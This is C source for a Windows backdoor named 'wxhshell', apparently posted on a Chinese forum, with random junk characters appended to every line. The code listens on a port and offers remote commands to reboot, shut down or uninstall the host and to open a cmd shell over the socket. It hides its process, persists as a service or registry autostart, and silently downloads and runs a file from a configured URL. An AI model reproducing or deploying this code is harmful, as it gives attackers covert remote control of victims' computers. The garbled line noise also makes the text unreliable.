  else { 8wy"m=>=b}  
1:&$0jU&U  
    switch(cmd[0]) { u5,IH2BU  
  =Wjm_Rvk9  
  // 帮助 >yWJk9h f  
  case '?': { 9Q.j <  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zc2,Mn2  
    break; yqBu7E$X  
  } bX6*/N  
  // 安装 K GI]W|T  
  case 'i': { b#y}VY)?  
    if(Install()) [2FXs52  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Tb;N  
    else pD>3c9J'^F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J`x9 XWYw  
    break; kh5V&%>?  
    } d")r^7  
  // 卸载 aSK$#Xeu  
  case 'r': { ##n\9ipD  
    if(Uninstall()) P,%|(qB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .9ROa#7U;n  
    else @e Myq1ZU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Zc-&Dk:Ir  
    break; h5Z\9`f[  
    } ZU@V]+ww  
  // 显示 wxhshell 所在路径 |aVv Lz  
  case 'p': { un /eS-IIh  
    char svExeFile[MAX_PATH]; brVT  
    strcpy(svExeFile,"\n\r"); :heJ5* !,  
      strcat(svExeFile,ExeFile); A%2!Hr  
        send(wsh,svExeFile,strlen(svExeFile),0); l%U9g  
    break; ze ua`jQ  
    } y7w>/7q  
  // 重启 ^{Vm,nAQqs  
  case 'b': { cbteNA!>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2 43DdIG$  
    if(Boot(REBOOT)) "*T)L<G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [cH/Y2[  
    else { {otvJ |'N  
    closesocket(wsh); ~Ep&:c4:D  
    ExitThread(0);  I&v B\A  
    } ~kHir]jc  
    break; ;zOZu~Q|'  
    } Qz<-xe`o8]  
  // 关机 tT v@8f  
  case 'd': { E?zp?t:a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +|0m6)J]  
    if(Boot(SHUTDOWN)) 81n%2G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TcIUo!:z  
    else { P*LcWrK  
    closesocket(wsh); dqkkA/1  
    ExitThread(0); |/s.PNP2  
    } 8jZYy!  
    break; $wN.~"T  
    } )N=wJN1  
  // 获取shell YM;^c% _7  
  case 's': { Oh^X^*I$@  
    CmdShell(wsh); ~ 52  
    closesocket(wsh); dqe_&C@*O  
    ExitThread(0); ^g0 Ig2'  
    break; E`s_Dr}K  
  } pQ/:*cd+M  
  // 退出 yO($KL +  
  case 'x': { Z5U~g?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PY2`RZ/@  
    CloseIt(wsh); nJ?C4\#3  
    break; >YW>=5_  
    } -`;8~wMN  
  // 离开 _+. t7q^  
  case 'q': { u,pm\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {NFeX'5bP  
    closesocket(wsh); @Yg7F>s  
    WSACleanup(); ::R^ w"  
    exit(1); a} /Vu"  
    break; jn7} jWA  
        } $ -y+97  
  } :Hd<S   
  } m<yA] ';s  
J8%|Gd0#4  
  // 提示信息 IQ_0[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cjh&$aq  
} 0{ ,zE  
  } V.4j?\#%  
MPB6  
  return; zZxP= c  
} T'V(%\w  
}J*&()`  
// shell模块句柄 ^4[\-L8Lpq  
int CmdShell(SOCKET sock) NqWHR~&  
{ oY] VP+b!  
STARTUPINFO si; 7Y)wu$!7}  
ZeroMemory(&si,sizeof(si)); ,VZ&Gc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; daorKW4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =.%ZF]Oe+#  
PROCESS_INFORMATION ProcessInfo; 1t0F J@)*  
char cmdline[]="cmd"; EK'&S=]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TM}F9!*je  
  return 0; D6vn3*,&  
} 7^; OjO@8  
d#*5U9\z  
// 自身启动模式 N!v@!z9Mu  
int StartFromService(void) ArEpH"}@  
{ `8-aHPF-  
typedef struct 6?lg 6a/eO  
{ ^Pf&C0xXv  
  DWORD ExitStatus; Fv: %"P^  
  DWORD PebBaseAddress; h <M7[p=  
  DWORD AffinityMask; 98]t"ny [  
  DWORD BasePriority; )k1,oUx  
  ULONG UniqueProcessId; \XN5))  
  ULONG InheritedFromUniqueProcessId; @b/2'  
}   PROCESS_BASIC_INFORMATION; KH7]`CU  
sHuz10  
PROCNTQSIP NtQueryInformationProcess; V588Leb?  
qh'BrYu*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JA}'d7yEa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ? 1{S_  
g-^m\>B  
  HANDLE             hProcess; oD7H6\_  
  PROCESS_BASIC_INFORMATION pbi; oL@ou{iQ  
-7$'* V9$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {q)B@#p  
  if(NULL == hInst ) return 0; h=tu +pn  
16y$;kf8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c-T ^ aR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gh}AD1TN]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >(rB[ZJ  
]Yu+M3Fq  
  if (!NtQueryInformationProcess) return 0; _HK& KY  
8?YW i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `|w#K28t"  
  if(!hProcess) return 0; +m.8*^  
(0Qq rNs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J9FNjM[qe  
5jQP"^g  
  CloseHandle(hProcess); Fdw[CYHz  
,OCTm%6e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xdM#>z`;  
if(hProcess==NULL) return 0; =Q}mJs  
h%s  
HMODULE hMod; eh>E).  
char procName[255]; )r i3ds  
unsigned long cbNeeded; 713M4CtJ  
qlJOb}$ I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4sQAR6_SW~  
{?y7'  
  CloseHandle(hProcess); +E~`H^  
B|=maz:_  
if(strstr(procName,"services")) return 1; // 以服务启动 aTm.10{^  
weV#%6=5\  
  return 0; // 注册表启动 pCUOeQL(  
} 2S6EDXc  
=.oWguzu  
// 主模块 ws?s   
int StartWxhshell(LPSTR lpCmdLine) I0vn d7  
{ t"p#ii a  
  SOCKET wsl; ]M(f^   
BOOL val=TRUE; "T u[n\8  
  int port=0; $0SZlq>En  
  struct sockaddr_in door; ebe@.ZVSi  
-l@W)?$  
  if(wscfg.ws_autoins) Install(); b=U MoWS  
(VAL.v*  
port=atoi(lpCmdLine); j2 ^T:q[  
l&Ghs@>Kl  
if(port<=0) port=wscfg.ws_port; dO;vcgvb  
t)Q @sKT6  
  WSADATA data; ('-}"3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X9A[  
|a$w;s>\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z{4aGp*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +i#sS19h  
  door.sin_family = AF_INET; Qf>Pb$c$U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w%dIe!sV  
  door.sin_port = htons(port); K!K"}%/_  
XHM"agrhSQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W+ '}O<  
closesocket(wsl); 7B\(r~f`t  
return 1; ]3,.g)U*m  
} r_,m\'~s !  
\y`3LhY  
  if(listen(wsl,2) == INVALID_SOCKET) { YIQ]]q8R!L  
closesocket(wsl); z~e~K`S  
return 1; /_OZ1jX  
} ;T{/;  
  Wxhshell(wsl); <`_OpNxqW  
  WSACleanup(); niEEm`"  
fKz"z{\,0  
return 0; {kl{mJ*  
w1#jVcUQ  
} 6q[!X0u  
, ."(Gp  
// 以NT服务方式启动 nl9Cdi]o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) : KP'xf.  
{ -f2`qltjb  
DWORD   status = 0; 0#fG4D_  
  DWORD   specificError = 0xfffffff; UX'NJ1f  
-0o6*?[Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0 ;_wAk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {dA ~#fW<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BH0#Q5  
  serviceStatus.dwWin32ExitCode     = 0; LL[#b2CKa  
  serviceStatus.dwServiceSpecificExitCode = 0; EY&C [=  
  serviceStatus.dwCheckPoint       = 0; tP Efz+1N  
  serviceStatus.dwWaitHint       = 0; 7;}3{z  
Y-3[KHD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L^Q+Q)zTh  
  if (hServiceStatusHandle==0) return; ,Q=)$ `%  
Eh@T W%9*  
status = GetLastError(); KCh  
  if (status!=NO_ERROR) Mev-M2A  
{ zt[4_;2Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +:]Aqyc\  
    serviceStatus.dwCheckPoint       = 0; nN`Z0?  
    serviceStatus.dwWaitHint       = 0; '<&EPUO  
    serviceStatus.dwWin32ExitCode     = status; -)O kG#J@  
    serviceStatus.dwServiceSpecificExitCode = specificError; B.mbKntK)R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aDl, K;GL  
    return; *Qg5Z   
  } ZE8/ m")  
&[ u6oAR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X`3vSCn  
  serviceStatus.dwCheckPoint       = 0; R=amKLD?  
  serviceStatus.dwWaitHint       = 0; 4-+ozC{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #A/]Vs$  
} t&9as}  
[%84L@:h  
// 处理NT服务事件,比如:启动、停止 %g0z) J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #x5N{8  
{ w38c  
switch(fdwControl) |J<pLz  
{ ~1=.?Ho  
case SERVICE_CONTROL_STOP: ?z@v3(b[  
  serviceStatus.dwWin32ExitCode = 0; %O&m#)|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sUbz)BS#.  
  serviceStatus.dwCheckPoint   = 0; S#h'\/S  
  serviceStatus.dwWaitHint     = 0; (~7m"?  
  { Z<N&UFw7QJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P~\a)Szy  
  } ].-J.  
  return; prlyaq;4  
case SERVICE_CONTROL_PAUSE: G/fP(o-Wd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rv,NQZ  
  break; 6MQs \J6.  
case SERVICE_CONTROL_CONTINUE: 1<W4>~,wj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,qe]fo >  
  break; 5BU%%fBJ.  
case SERVICE_CONTROL_INTERROGATE: Ig02M_  
  break; =XMD+  
}; hJ;f1dZ7}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s!@=rq  
} {UdcX~\~  
x&R9${e%  
// 标准应用程序主函数 h0F0d^W.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @.Z[M  
{ +~w?Xw,  
<V$Y6(uMs  
// 获取操作系统版本 :dY.D|j*  
OsIsNt=GetOsVer(); f@! fW&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i'W_;Y}  
<78$]Z2we  
  // 从命令行安装 Ha)3i{OM  
  if(strpbrk(lpCmdLine,"iI")) Install(); mq J0z4I}  
X,WQ'|rC  
  // 下载执行文件 M<{5pH(K  
if(wscfg.ws_downexe) { !fi &@k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9h:jFhsA9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lp:Nw4_  
} nDHHYp  
/nC{)s?S'  
if(!OsIsNt) { p}YI#f in/  
// 如果时win9x,隐藏进程并且设置为注册表启动 #Mj$o;SX  
HideProc(); ,7^d9v3t  
StartWxhshell(lpCmdLine); r,2Xu  
} "x#]i aDjf  
else S'Z70 zJ  
  if(StartFromService()) dGbU{#"3s  
  // 以服务方式启动 =vqsd4  
  StartServiceCtrlDispatcher(DispatchTable); KInUe(g<9M  
else ^&+zA,aL,A  
  // 普通方式启动 7tpAZ<{  
  StartWxhshell(lpCmdLine); Mx O W)$f  
3>-[B`dD(  
return 0; xm<v"><  
}
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只看该作者 1 发表于: 2006-10-10
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